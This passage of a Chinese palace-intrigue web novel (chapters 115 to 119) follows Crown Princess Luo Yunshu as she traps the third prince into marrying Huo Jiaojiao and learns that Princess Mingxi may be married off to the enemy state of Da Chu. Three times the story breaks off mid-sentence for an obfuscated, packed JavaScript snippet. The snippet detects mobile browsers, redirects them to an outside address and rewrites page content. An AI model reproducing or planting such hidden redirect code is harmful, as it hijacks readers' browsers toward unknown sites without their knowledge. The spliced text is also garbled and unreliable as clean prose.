等洛云舒走下阁楼,到了偏殿外面的时候,赵皇后已经闻讯而来。 这会儿,她的脸色很难看。 今日这赏花宴是为了给二皇子和三皇子选皇子妃,眼下出了这样的事情,着实让她恼怒。 洛云舒留意到,霍贵妃并没有过来。 兴许是赵皇后不愿意知晓的人太多。 又或许,是霍贵妃不想和这件事扯上关系。 总之,霍贵妃并未到场。 赵皇后先到偏殿外面,并未看到洛云舒,只招手叫过刘昭仪:“里面的人是谁?” “回皇后娘娘的话,是三殿下。三殿下这会儿还没醒。” 说话的时候,刘昭仪压低了声音。 赵皇后面色发寒:“女子呢?是谁?” “从衣着打扮来看,应该是肃王爷的嫡女。” 赵皇后的脸色变得更难看了。 据她所知,霍贵妃中意的是户部尚书之女廖彤霞。 可现在,居然出了这样的事情。 刘昭仪凑近,低语道:“娘娘,事情已经出了,须得妥善处理。毕竟,此事事关三殿下和肃王府。” 赵皇后何尝不知这其中的干系? 她沉思片刻,吩咐道:“来人,去请肃王妃入宫。” 这时候,顾清歌走近,满脸带着不解:“娘娘,请臣女的母妃过来,是有什么要紧的事吗?” 冷不丁看到顾清歌,赵皇后立刻看向刘昭仪:“你不是说顾小姐在里面吗?” 刘昭仪也懵了,她迅速打量顾清歌的衣着,发现顾清歌的衣着打扮和偏殿内的女子极为相似。 她以为偏殿里是顾清歌,谁知道竟然不是。 刘昭仪愣在原地。 赵皇后瞪了她一眼,斥道:“真是糊涂!事关女子的名节,怎好胡说!” 她立刻吩咐人进去一看究竟,很快,派进去的宫女出来禀报,说三殿下已经苏醒,里面的女子是安国公之女,霍娇娇。 “来人,先守在这里,不许任何人靠近。” 之后,赵皇后重新回到了驭风阁。 这会儿,自由活动的贵女们已经回来,品尝着宫女们送上来的点心。 洛云舒也回到位置上坐好。 但,赵皇后身边的心腹走到霍贵妃身边,低声对她说了些什么。 顷刻间,霍贵妃的脸色就变了。 她迅速看向刘昭仪连同那几位贵女的位置,发现她们都没在。 之后,她朝着洛云舒看过来。 洛云舒含笑看着她,神色自若。 片刻之后,霍贵妃的脸色就恢复如常。 很快,贤嫔就出面,送了户部侍郎之女周欢欢一个玉镯。 周欢欢含笑接过礼物,又行了礼。 赵欢欢珠圆玉润,看着身体很好。 贤嫔很满意。 不少贵女盼着霍贵妃开口,但霍贵妃始终没说什么。 很快,宴会结束,赵皇后先行离开,随后,霍贵妃连同诸位后妃也一同离开。 洛云舒回了柔仪殿。 在她的吩咐下,她让寒霜护送顾清歌回府。 临近傍晚的时候,裴行渊的人打探到,皇后有意让三皇子娶霍娇娇,但是,霍贵妃不愿意。 毕竟,霍家是她的娘家,完全没有亲上加亲的必要。 而且,若是让三皇子迎娶霍娇娇,就会白白浪费一份助力,不划算。 赵皇后很不满意,和霍贵妃僵持着。 她是个重规矩的人,得知在偏殿之中,三皇子的手伸进了霍娇娇的衣服里面,而霍娇娇又是安国公之女,在这样的情况下,三皇子是必须要迎娶霍娇娇的。 不然,于情于理都说不过去。 而霍贵妃,显然没有这么容易妥协。 想必这几日,会很热闹。 洛云舒打算静观其变。 第二日,阮清辞来了。 “云舒,昨天的事情,多谢你。” 洛云舒笑着看她:“怎么,这就开始帮夫家说话了?” 阮清辞嗔她一眼:“事情昨日才发生,王妃不方便过来,托我来给你致谢。等风波过去之后,王妃会亲自来拜会。总之,多谢你出手。” “是顾清歌足够机灵,也幸亏她有些身手,先敲晕了霍娇娇和三皇子。不然就不会是现在的结果了。” “听说昨日回去之后,她就已经开始扎马步了。她原先就有些身手,但不够精通,又疏于练习。这次遇上了事情,也算是发愤图强了。” 洛云舒笑笑:“由此看来,哪怕是女子,有些身手也是好的。必要的时候,还真就能救命。” 阮清辞若有所思:“我也打算学。” 洛云舒打趣道:“等顾世子好了,让他教你。” “那你呢,让太子殿下教你?” “那是自然。” 说完,两个人互相看了对方一眼,没忍住,都笑了。 阮清辞握住洛云舒的手:“昨日多亏你了。” “你这话就见外了。不过,我也有件事托你办。” “你说。但凡是我能做到的,必定竭尽全力。” “放心,不是什么大事。如今我在东宫,不方便时常出门。我二叔开了金店,堂弟也入了应天书院,在必要的情况下,请你哥哥照拂一二,免得他们被人欺负了。” 阮清辞郑重点头:“放心,一定把事情办好。” 二人又说了些别的,随后,阮清辞告辞离开。 没多久,翊坤宫那边有消息传来。 第115章 云舒,我很欣赏你 见霍贵妃迟迟不肯妥协,赵皇后把事情禀报给了陛下。 说简单点,这件事是三皇子和霍娇娇两情相悦,一时间情难自禁。 可往复杂了说,此事事关皇家颜面。 堂堂皇子在宫里和臣子之女亲热,这事儿若是传出去,世人会如何看待皇家? 更何况,当时不仅有后妃撞见,还有好几个贵女也知晓。 若是任由这件事发酵下去,就会在市井之中传扬开来。 总之,皇家的荣誉不容损毁。 在赵皇后离开之后,昭远帝很快就下了赐婚圣旨,把霍娇娇赐婚给三皇子。 毕竟,没有牵扯出顾清歌,旁人都以为三皇子和霍娇娇是情难自禁,这才到了一处去。 如今事情出了,闹得不少人都知道,只有让三皇子迎娶霍娇娇,不然,有损皇家颜面。 听说,霍贵妃得知陛下赐婚,气得摔碎了好几个花瓶。 心愿达成,洛云舒很开心。 至此,她终于彻底扭转了阮家上一世的命运。 阮清辞和顾彦昭订了婚,三皇子和霍娇娇捆绑在一起,同时,也让霍贵妃的如意算盘落了空。 现在,三皇子身负贪污赈灾银两和赈灾不利两项罪名,在婚事上又不能再更进一步,无疑堵住了他往上走的路。 这一世,三皇子再不能占尽先机,不能成为裴行渊的威胁。 反之,裴行渊的名声越来越好,能力又卓著,他本身又是太子,若无意外,日后的前途是可以预见的。 总之,形势大好。 想到这些,洛云舒愈发觉得前途有望,她真正自由的日子也会更加临近。 她期待成为自由身的日子。 裴行渊进来,见她脸上带笑,俊美的面容上笑容愈发浓郁:“何事如此欢喜?” 洛云舒以为他不关心这些小事,就把陛下给三皇子和霍娇娇赐婚的消息告诉了他。 此事,裴行渊已经知晓。 但,听完之后,他笑得愈发开怀了些:“恭喜你,又做成了一件事。” 洛云舒心情好,狡黠一笑:“不,殿下,这可不关我的事。” 这件事从头到尾,她完美隐身。 如果说唯一的破绽,大概就是她让寒霜制服了埋伏监视的那三人。 不过,这些都是背地里做的,无人能指证她。 但是,如果霍贵妃事后复盘,定能知道有她的手笔。 霍贵妃或许会报复。 想到这儿,洛云舒和裴行渊商议:“殿下,我打算让明曦继续住在这里,暂时不让她回去。我怕她会成为有些人的靶子。” 霍贵妃或许会从明曦这里入手。 “可以。”裴行渊一口应允。 “待会儿,我找明曦说说这件事。” 也得让明曦公主自己警惕起来才行,不能松懈。 看着洛云舒沉肃的眉眼,裴行渊满脸欣赏,由衷道:“云舒,你若为男子,纵然做不了一方大将,也能做一朝丞相,运筹帷幄。” “殿下谬赞了。” “不,不是谬赞。”说话的时候,裴行渊的眼神盘桓在洛云舒脸上,很是热络,“大多数人成功之后,会得意忘形。但是你没有,你始终冷静,还能设想到成功之下暗藏的危机。这份心性,非寻常人可比。” 洛云舒抬头看他,见他眸光炽热,脸颊似被他的目光灼痛,也跟着滚烫起来。 很快,她眼眸低垂,言辞客气:“我为殿下做事,自然得思虑周全。毕竟,殿下给我的回报也很丰厚。” 裴行渊怔了怔,喉结滚动:“云舒,我很欣赏你。” 洛云舒看向他,神情真挚:“我也很欣赏殿下。殿下处事果决,又有仁心,您这样的人若是坐上高位,是百姓们的福祉,亦是我的福祉。” “不,我并非是在恭维你,我是想说……”裴行渊微微皱眉,似乎是在斟酌着措辞,又像是不知道该怎么接着往下说。 “殿下想说什么尽可以说,在我面前,不需要有什么顾虑。” “没什么。只是想说,最近天热,你少食寒凉之物,免得对身子有碍。” “谢殿下关心。” 裴行渊点点头,站起身来:“我还有事,先走了。” “恭送殿下。” “留步。别出来了,暑气热。” 洛云舒立刻停下脚步,目送裴行渊出去。 之后,她让知意去把明曦公主请了过来,把刚才和裴行渊商议的事情告诉了她。 明曦公主喜不自胜:“行啊,刚好我也不想回去。在这里挺好的。” “还有,凡事留个心眼,如果遇到无法决断的事情,只管来找我。” “嫂嫂待我真好。”说着,明曦公主脑袋一歪,靠在洛云舒的胳膊上,像一只乖巧的小猫儿。 洛云舒伸手,摸了摸她细软的发丝。 洛宝珠小的时候,也曾这样依赖过她。 可等她长大之后,性子就变了。 过往之事不可追。 洛云舒悲伤的思绪仅仅停顿了一瞬就释然了,犹如轻烟消散在风中,悄无声息。 她专注自己的目标,不关注这些细枝末节。 尤其是这些强求不来的感情,多思无益,既然如此,就不去多想。 重活一世,她不愿困在这些琐碎的情感里。 她有她的目标。 转而,洛云舒想到了明曦公主的婚事:“明曦,京城的这些青年才俊,你可有中意的?” 明曦公主怔了怔,眼底划过一抹酸涩,继而摇了摇头:“没有。嫂嫂怎么突然问这个?” “怕你会因此忧心。明曦,过去的已经过去,你不必再为此伤怀。重要的,是要往前看。” “我懂的,嫂嫂。” “你若有了心上人可以告诉我,我帮你安排。” “好,嫂嫂。”说着,明曦公主靠得更近了。 她的眼睛贴紧了洛云舒的手臂,眼角水汽氤氲。 她大概,没那个机会了。 明曦公主隐藏着这些,洛云舒并未看到。 不过两日,礼部已经开始着手测算三皇子和霍娇娇的婚期。 一切如火如荼地进行着。 安国公府内部,却在蕴藏着一场大风暴。 这一日,安国公从宫里回来,低声跟安国公夫人说了些什么。 听完,向来端庄守礼的安国公夫人上前拽住安国公的衣领,大声质问:“你说什么?你再说一遍!” 第116章 怎敢直呼贵妃娘娘的名讳? 安国公拼命低头,显得身形佝偻了许多:“娘娘说,这婚事不能成,让了结了娇娇。对外,就宣称娇娇得了急病,暴毙而亡……” 说到最后,安国公已经哽咽。 安国公夫人死盯着安国公,神情怔愣,片刻后,她牙关紧咬,瞪圆了双眼,拼尽全力吼出 一句话:“绝无可能!” 那是她的女儿,是她身上掉下来的肉,让她眼睁睁送自己的女儿**,她做不到! 安国公夫人气得直喘粗气,半晌,她松开安国公的衣领,缓步后退,在椅子上坐下。 她双手搭在椅背上,冷冷地看向安国公:“此事没有商量的可能。娇娇也绝不可能暴毙。她霍卿苒不能一而再,再而三毁我的孩子!” 安国公怔了怔,慌忙看了看左右:“你疯了?怎敢直呼贵妃娘娘的名讳?此事若是传到贵妃耳中,这还得了!” “我还就直呼其名了,如何?有本事,你让她来杀了我!”一番话,安国公夫人说得咬牙切齿,“娇娇若不是听她差遣,至于落到现在这个下场吗?她自己办事不利,只会来怪我的女儿,凭什么?” “她、她毕竟是贵妃,而且,还是育有皇子的贵妃。” “那又如何?不是我说,以三殿下的资质,怕是难以成事。如今想为了三殿下要我女儿的性命,那是绝对不可能的!” 说完,安国公夫人走了出去。 她径直去了霍娇娇的房中。 这会儿已经日上三竿,霍娇娇还没起来。 她蜷缩在床上一个小小的角落里,听到安国公夫人的脚步声,她吓得浑身直抖:“别过来,别过来……” 之后,是大声的惊叫。 安国公夫人心疼坏了,快步走上前去,安慰道:“娇娇,别怕,是母亲。” 她走过去,一把把霍娇娇抱在怀里。 霍娇娇犹如抓到救命稻草一般,把安国公夫人抱得紧紧的,连声道:“母亲,是洛云舒,一定是她。她肯定知道我又做了错事,所以才会想要惩罚我。” “没事了,娇娇。你马上就是三皇子妃了,到时候你和洛云舒就是妯娌,不分上下。你也用不着怕她。” “不,母亲。太可怕,她太可怕了。我不能跟她对着来,不然,我会死的。” 安国公夫人心疼极了。 女儿这是被洛云舒吓着了。 她对付过洛云舒,然而,惨败。 这一次,女儿没想过要对付洛云舒,却还是被波及,有了这桩赐婚。 想到安国公刚才说的话,安国公夫人喃喃道:“或许,是报应。” 她曾逼洛云舒为她的儿子殉节,现如今,轮到她的女儿面临同样的困境。 或许,这真的是报应。 安国公夫人喃喃:“报应啊……” “什么报应?”霍娇娇带着哭腔,低声问道。 “没什么。”安国公夫人的脸色已经重新变得冷硬,她的语气坚定而缓慢,“没什么的,娇娇。你什么都不要怕,有母亲在,不会让任何人伤害你。” 安国公夫人和霍娇娇同吃同住,寸步不离。 …… 隔日,洛云舒接到了阮清辞送来的一封信。 信上的内容很简单,甚至有些无聊,只是说一场原本就定好的宴会,安国公夫人理应出席,但是她没去。 似乎是很寻常的信息。 但是,落入洛云舒眼中,她品出了反常的意味。 安国公夫人眼高于顶不假,可这个宴会规模很小,只有八位夫人,而且都是身份显赫的。 若是放在往日,安国公夫人绝不会缺席这样的宴会。 可这次,她偏偏就缺席了。 莫非,是府上出了什么事,她不便出门? 可现如今,霍少远和孙玉瑶的婚事已经在筹备之中, 并未出什么岔子。 霍娇娇也和三皇子有了婚约,安国公府并未发生什么不好的事情。 至少,在明面上看来是这样。 洛云舒觉得有些奇怪,就派人去查探。 然后,她就得到了另外的一些消息。 安国公夫人花费重金,从江湖上买了几个绝顶高手。 如今,这几个绝顶高手已经入了安国公府。 结合最近的事情,洛云舒觉得安国公夫人此举,或许是在保护谁。 可,安国公府之中,最近有谁是需要保护的吗? 更何况,安国公府原本就豢养着暗卫,不需要从外面买高手。 除非,安国公府的暗卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736863|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能被安国公夫人所用,所以,她才会出此下策。 一定是发生了什么事,让安国公夫人和安国公有了分歧。 很自然地,洛云舒想到了霍娇娇。 霍娇娇能有什么危险呢? 脑海中灵光乍现的瞬间,洛云舒想到了一个不太可能但又是唯一的一个可能——霍贵妃要霍娇娇死。 只要霍娇娇**,这桩赐婚就会不了了之,霍贵妃就可以重新挑选家世显赫的三皇子妃。 除了这个,洛云舒想不出别的可能。 顷刻间,洛云舒只觉得齿冷。 霍贵妃是霍娇娇的亲姑姑,可她居然这么狠心。 或许,在这些位高权重者的眼中,别人的性命都是无关紧要的。 为了达到他们自己的目的,他们无所不用其极,哪怕是亲人的性命也不在乎。 这是真正泯灭了人性的人。 这一刻,洛云舒如此真切地认识到霍贵妃的可怕。 不择手段的人,是最可怕的。 但她已经和霍贵妃作对了,不可能再收手。 洛云舒思来想去,去了翊坤宫,拜见赵皇后。 行礼之后,洛云舒眉眼含笑:“母后,儿臣有一个不情之请,还请您允准。” 赵皇后看着她,面带浅笑:“有什么事,你只管说也就是了。” “母后,是这样的。儿臣曾认安国公夫人为义母,听闻她最近没怎么出门,儿臣担心她是病了,想请太医院的院正大人跑一趟,为她请个平安脉。” “不过一件小事而已,你自己就能办,怎么还求到了本宫这里来?” “母后明鉴,儿臣刚嫁进来没多久,对这方面的分寸拿捏得不是很准,生怕僭越了。” “你啊,就是太小心了。”说完,赵皇后招手叫过一个宫人,吩咐道,“你去太医院一趟,让孙院正去一趟安国公府,为安国公夫人请平安脉。” “是,皇后娘娘。” 宫女应声,很快就出去了。 洛云舒和赵皇后又寒暄了一会儿,觉得时间差不多了,她起身告辞。 出了翊坤宫,等在宫道上。 没多久,洛云舒就瞧见太医院院正孙大人朝着这边走了过来,身后还跟着一个背着药箱的药童。 第117章 真是让人羡慕啊! 孙大人小跑着上前,躬身行礼:“微臣太医院院正孙安,见过太子妃娘娘。” 洛云舒微笑着点头:“免礼。孙大人,本宫等在这里,是有事相托。” “娘娘请讲,但凡是微臣能办到的,必定竭尽全力。” “孙大人言重了。不是什么大事,只是想请您去为安国公夫人诊脉的时候,顺便也为准三皇子妃诊脉。她是本宫的义妹,如今暑气重,本宫担心她过了暑气。” “是,娘娘。”孙院正欣然应允。 洛云舒心满意足,目送孙院正远去。 这是她抛出去的诱饵。 安国公夫人若是足够警惕,就不会拒绝孙院正为霍娇娇诊脉。 毕竟,如果霍贵妃想要霍娇娇死,就只能用得了急病,暴毙而亡的理由。 可现在,她通过赵皇后,请孙院正出面,为安国公夫人诊脉。 身为太医院院正,孙院正的话足够权威。若他诊脉,确认霍娇娇身子无恙,那么,日后霍贵妃就不能以得了急病为理由让霍娇娇死掉。 霍贵妃想让霍娇娇把三皇子妃的位置腾出来,那不能够。 就让三皇子和霍娇娇锁死,让三皇子寻不到其他的助力。 洛云舒很快回了柔仪殿,用了一碗冰乳酪。 冰乳酪甘甜美味,清爽宜人,洛云舒很喜欢。 她尝了一口,发现里面还添加了细小的荔枝丁,口感很丰富,不由得食指大动,不过片刻功夫,一碗冰乳酪就见了底。 洛云舒正想再要一碗,一抬头,却瞥见裴行渊从外面进来。 想到裴行渊之前说让她少食寒凉之物,洛云舒当机立断,立刻拿起桌子上的空碗,塞进袖子里。 好在,袖子足够宽大。 之后,她端端坐着,看向裴行渊,面带笑意:“殿下,您回来了。” 裴行渊微微笑着,走过来在洛云舒身边坐下:“在做什么?” 洛云舒很快想到了理由:“在和知意说一些趣事。” “什么趣事?说出来让我也听听。”说着,裴行渊仿佛很感兴趣的样子。 “是闺阁时候的趣事,不太方便讲给殿下听。” 裴行渊还没说什么,就听见明曦公主欢快的声音由远而近:“嫂嫂,我来啦!” 见状,洛云舒心道不好。 往日里,但凡是她这里做了什么好吃的,必定也会通知明曦公主过来。 以往,她一直是这么吩咐的。 明曦公主这会儿过来,定是得了信儿。 果不其然,明曦公主进来给裴行渊问好之后,就四处张望,一脸疑惑:“嫂嫂,冰乳酪呢?不是叫我来吃冰乳酪吗?” 洛云舒冲着明曦公主挤了一下眼睛:“什么冰乳酪?你怕是记错了吧?” 然而,好巧不巧,大概是被美食冲昏了头脑,明曦公主没瞧见洛云舒的暗示,只纳闷儿道:“怎么会?是蔡嬷嬷让小宫女给我递的信儿。蔡嬷嬷的消息一向很准,从不骗人的,她的人品跟她的厨艺一样不作假。” 说着,明曦公主的眼睛滴溜一转:“嫂嫂,是不是你自己吃完了,没给我留?” “怎么会?”洛云舒立刻反驳,顺便还攥紧了袖子里的碗。 这沾了冰乳酪的碗有点滑,她丝毫都不敢大意。 “那我去问蔡嬷嬷。”说完,明曦公主就往外走。 洛云舒忙朝知意使了一个眼色,知意会意,立刻跟上去。 谁知,明曦公主竟是杀了一个回马枪,冷不丁回头,直盯着洛云舒:“真不是你自个儿吃完了?” 洛云舒一脸正色:“当然不是。自打殿下说让我少食寒凉之物,我就很少吃了。” 明曦公主瞪大双眼,看看洛云舒,又看看裴行渊,一副恍然大悟的表情。 她连连点头:“对对对,嫂嫂近些日子的确是不怎么吃寒凉之物了。嫂嫂还真是听皇兄的话啊。如此一对佳偶,丝毫也不阳奉阴违,真是让人羡慕啊!” 说着,明曦公主还意味深长地看着洛云舒。 洛云舒:“……” 这个促狭鬼! 裴行渊笑笑,接过明曦公主的话:“自然,你皇嫂最是乖顺,哪像你这么不着调儿。” “皇兄,我哪里不着调儿了?我现在很认真很认真地在学规矩,我学得可好了,不信你问严嬷嬷。刚才她还夸我有悟性呢。” “是是是,你最有悟性了。”说着,裴行渊满脸宠溺。 这是他的妹妹——他从小看着长大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742177|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹。 之前,她性情不好,他痛心,想要关心她,她却总是拒他于千里之外。 现在,问题的症结去除之后,明曦公主像是完全变了一个人。 她变得明媚,自信,言辞间甚至还带着一些少女的娇俏。 这样,很好。 是他愿意看到的样子。 如果母后还在,看到明曦长成现在这个样子,她也一定会开心的。 转瞬之间,裴行渊思虑良多。 明曦公主却没那么多情绪,只一把抓住裴行渊的胳膊晃了晃:“皇兄,你不是很忙吗?这会儿是不是有正事要办,那你赶紧去办吧。我陪嫂嫂说话,绝不让她无聊。” 洛云舒也跟着点头:“没错。殿下日理万机,只管去忙。” 赶紧走啊,不然,她手里的碗要拿不稳了! 然而,裴行渊却没这个自觉,只轻声一笑:“无妨,今日特地空出时间,想与你们二人聊一聊。我已经吩咐厨房,午膳就送到这里来,我们一起用。” “这样啊。”说着,明曦公主看向洛云舒,“嫂嫂,你先忙,我去找蔡嬷嬷,看她打算做点什么。” 说完,明曦公主飞一般地跑了。 东宫有自己的小厨房,蔡嬷嬷是小厨房的管事,又厨艺高超,深得明曦公主的青睐。 当然,洛云舒也很喜欢就是了。 明曦公主跑得飞快,一溜烟儿就没影儿了,洛云舒心里暗暗滴血,她的冰乳酪,怕是要全进明曦公主的肚子里了。 偏偏,裴行渊不肯走。 见状,洛云舒灵机一动:“殿下,我中午想吃虾仁蒸饺,我去跟蔡嬷嬷说一声。” 裴行渊微微皱眉:“这等小事,让宫女过去就可以了。” “殿下,是这样的。我的要求比较刁钻,我怕这话传来传去再传错了。不如我亲自走一趟。再说了,我在这儿坐了这许久,也累了,刚好起来活动活动。” 说着,洛云舒站起身来,顺便,还用没有抓着碗的左手捶了一下腿,把戏做足。 谁知,这时候她手上一滑,碗连同汤匙一同滚落在地,发出一声脆响。 那碗没碎,却是骨碌碌骨碌碌,滚到裴行渊的脚边,打了个旋儿,停下了…… 第118章 她今天这运气,怎么就这么寸啊! 好巧不巧,还是碗口朝上停下来的,内层残留的冰乳酪清晰可见。 一瞬间,洛云舒只觉得浑身的血液都涌到了脑门儿上! 她今天这运气,怎么就这么寸啊! 她低头,再低头,却也在视线可及的范围内瞧着裴行渊的动静。 从她现在这个角度,只能看到他的小腿和脚。 他没动。 但衣服却微微抖动。 是在笑话她吗? 洛云舒很想看看,但是她不敢。 却在这时候听裴行渊轻笑道:“看来,孤的太子妃是个小馋猫啊。” 洛云舒强行挽尊,闷声道:“就吃了一碗,不算多。” “不算……多吗?”说着,裴行渊捡起那碗,比划了一下,“你看这碗,它多大。” “碗虽大,放的冰乳酪却只有半碗。”洛云舒抬头,直视着裴行渊的眼睛,眼神很真诚。 “哦。”裴行渊又看了洛云舒一眼,用同样真诚的眼神看着洛云舒,“我信,真的信。” 这就有点此地无银三百两了。 “殿下!”洛云舒打算据理力争,为自己争取吃冷饮的权利,“我这个人最是怕热,这么热的天,若是再不吃些寒凉之物,会受不住的。再者,我与殿下并非是真的夫妻,只是合作关系,殿下实在是不必担心我。” “没错,只是合作关系。可多食寒凉之物对身子有害,你若是因此病倒,误了事终归不好。” “我保证,绝不会因此误了殿下的事。” 裴行渊温和一笑:“倒也不必如此上纲上线。只是皇族中人,不该有自己的喜好。就算有那么一两个,也不该为人所知。因为如果有了喜好,很容易被人针对。我怕有人会借此做文章,对你不利。” 说到最后,裴行渊潋滟的桃花眼里满是温情。 他就这么看着她,仿佛关心到了极致。 洛云舒怔了怔,想到裴行渊刻意营造的宠爱她的假象,她也就见怪不怪了。 洛云舒眼眸低垂:“殿下放心,自此以后,我会克制自己的喜好。” 裴行渊的话,她听进去了。 这的确不是一件小事,应该注意。 裴行渊自小在宫里长大,更知道在宫中生活的残酷。 听从他的判断,不会有错。 “不过……”裴行渊却在这时候话锋一转,“你若实在想吃,私下里吃些也无妨,只是要注意防备着些,别让有心之人知道了。” 说到最后,裴行渊看着洛云舒,面露歉疚:“实在是对不住,让你做了这太子妃,却让你连吃想吃的东西都要深思熟虑。” “不是这样的,殿下。凡事有得必有失,我得到了殿下的庇佑,哪怕是因此承受什么苦楚,也该是我应得的。更何况,这根本不算是什么苦楚,只是为了满足口腹之欲而已,算不得什么。” 洛云舒是真的满足。 和裴行渊的合作,是她走了捷径。 如果不是走了这条捷径,她现在还是会在洛守礼不断地权衡利弊之下,过着风雨飘摇的生活。 她或许可以从中自保,却要因此花费很大的心思和精力。 可现在,她通过裴行渊得到了她想要的一切,甚至,还可以借此机会,为自己挣得光明灿烂的未来。 她很满足。 这一刻,洛云舒下定决心,这寒凉之物,她不会再吃。 这决心是在心里下的,她并未说出来让裴行渊知晓。 裴行渊却看着她,眼眸中满是温情:“终有一日,你会获得真正的自由。” “当然。”说着,洛云舒眉眼含笑。 …… 裴行渊离开之后,洛云舒就让知意去了一趟厨房,让她告知蔡嬷嬷,以后不必再做寒凉之物给她。 她不会再吃了。 知意从小厨房回来,红了眼眶。 洛云舒微笑着问:“怎么哭鼻子了?” “小姐,您真是太辛苦了。” 洛云舒笑了笑。 知意已经很久没这么叫过她了。 在宫里怕出错,知意一直称她为太子妃。 她知道,知意此刻换了称呼是在心疼她。 洛云舒拉过知意的手,缓缓道:“知意,当日我被逼殉节,你和灵雀也差点儿遭了曹嬷嬷的毒手,那才是真正的辛苦。如今这些,真的不算什么。” “小姐放心,奴婢以后会更警醒一些,也努力更聪慧一些。” 她希望自己能帮到自家小姐。 知意的心意,洛云舒自然知晓。 来日获得真正的自由,她是要把知意和灵雀都带走的。 她们会彼此扶持,相伴一生。 虽不是亲姐妹,却胜似亲姐妹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742178|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人这一生,总要有几个自己选择的亲人。 虽无血缘之亲,却有血缘之爱。 以后,会好的。 洛云舒正和知意说着这些,就被突然进来的明曦公主吓了一跳。 “嫂嫂,我好像是做错事了。” “不着急,坐下来慢慢说。” 明曦公主很快到洛云舒跟前坐下,声音显得很急切:“刚才我去御花园的花房采茉莉花,碰到了父皇,他跟我说了几句话,还夸了我。” “这不是好事吗?你怎么会觉得自己做错了事?” “父皇从未夸过我。” “你这阵子有所改变,父皇看到你的改变,自然会感到高兴。” “是这样吗?”明曦公主有些疑惑,“可我还是觉得父皇突然的转变有点奇怪。再说了,我虽然有所转变,但是我一直在东宫待着,父皇并不知道我的改变,他却因此夸了我,实在是奇怪。” “除此之外,你还觉得哪里奇怪?” “嫂嫂,你不懂,父皇他很少夸人。”明曦公主还是觉得忐忑。 洛云舒安抚了她好久,明曦公主的情绪才好了一些。 她走之后,洛云舒立刻让灵雀往外传消息,让人留意一下最近市井之中的动向。 晚上,裴行渊回来后,洛云舒也问他朝中是否或即将有大事发生。 裴行渊皱了皱眉:“大事自然是有的,只是不知你说的是哪一种。” “事关联姻的有吗?” 裴行渊摇摇头:“并未听闻。” 之后,他问:“你察觉到什么不对了?” 洛云舒把明曦公主的话告诉了他。 没错,明曦公主描述的这件事很正常,无非是她有了改变,昭远帝看到了她的改变,夸奖了她。 站在旁观着的角度,整件事情很简单,完全没有任何反常的地方。 但,洛云舒还是觉得,不能忽略明曦公主身临其中的感受。 按理说,当事人的感受是最真切的。 而且,听完洛云舒所问的话之后,裴行渊也皱了皱眉:“的确很反常。或许,他有什么能用得着明曦的地方。” 说完,裴行渊大步离开,脚步甚至有些错乱。 洛云舒一直等着,然而,直到子时,裴行渊才拖着沉重的脚步回来。 见状,洛云舒不由得心中一悸。 第119章 让我抱一下,一会儿就好 洛云舒起身迎上去:“殿下。” 裴行渊停下来看着她,没说话,眸子幽深,满含哀切。 洛云舒神色镇定:“殿下,凡事总有解决的办法。我让人备了热水,您要沐浴吗?” 裴行渊却在这时候走上来,抱住她,下巴搁在她的肩膀上。 洛云舒浑身一僵。 却听裴行渊在她耳边说道:“让我抱一下,一会儿就好。” “好。”洛云舒轻声应着,抱住裴行渊的腰。 她能感觉到,裴行渊现在的情绪很不好。 没过一会儿,裴行渊就松开了她,闷声道:“我去沐浴。” 等裴行渊再回来的时候,洛云舒已经灭了灯。 看到他进来的身影,洛云舒轻声唤道:“殿下。” 她是在告诉他,她还在。 如果他愿意说,那么,她很愿意听一听。 而且,她灭了灯,不会让裴行渊觉得难堪。 毕竟,男人很少会显露出脆弱的一面。 尤其是位高权重的男人。 裴行渊应了一声,在床边坐下:“大楚使团不日要出使我朝,此行的目的是要娶一位公主。父皇有意让明曦嫁过去。” 大楚! 偏偏是大楚! 大楚是大齐的劲敌,多年来屡有摩擦。 一年前,大楚进犯大齐,占领大齐两座城池,还丧心病狂地行了屠城之举。 最终,是谢将军带领谢家军力退大楚来犯之敌,硬生生将这痛失的两座城池收复回来。 也正是因为如此,时隔多年之后,谢家军再次扬名。 而谢将军,是裴行渊的亲舅舅。 洛云舒不解:“不是说自从那一战之后,大楚就不敢在边境生事了吗?怎么这次竟敢求娶我大齐的公主?” 大楚敢求娶,可以说是狗胆包天。 但是昭远帝竟然有意嫁一位公主过去,这就匪夷所思了。 而且,要嫁的还是先皇后的女儿。 一般情况下,即便是让公主远嫁他国,也会选择不怎么受宠且母亲位份低下的公主。 “大楚最近出现一批新的大刀,听说是兵部的一位锻造奇才所制。这批大刀削铁如泥,和现有的兵器完全不是一个水准。我朝兵部已经暗中得到此刀,却迟迟想不出破解之法。” 所以,大楚使团这次入京,有试探的成分。 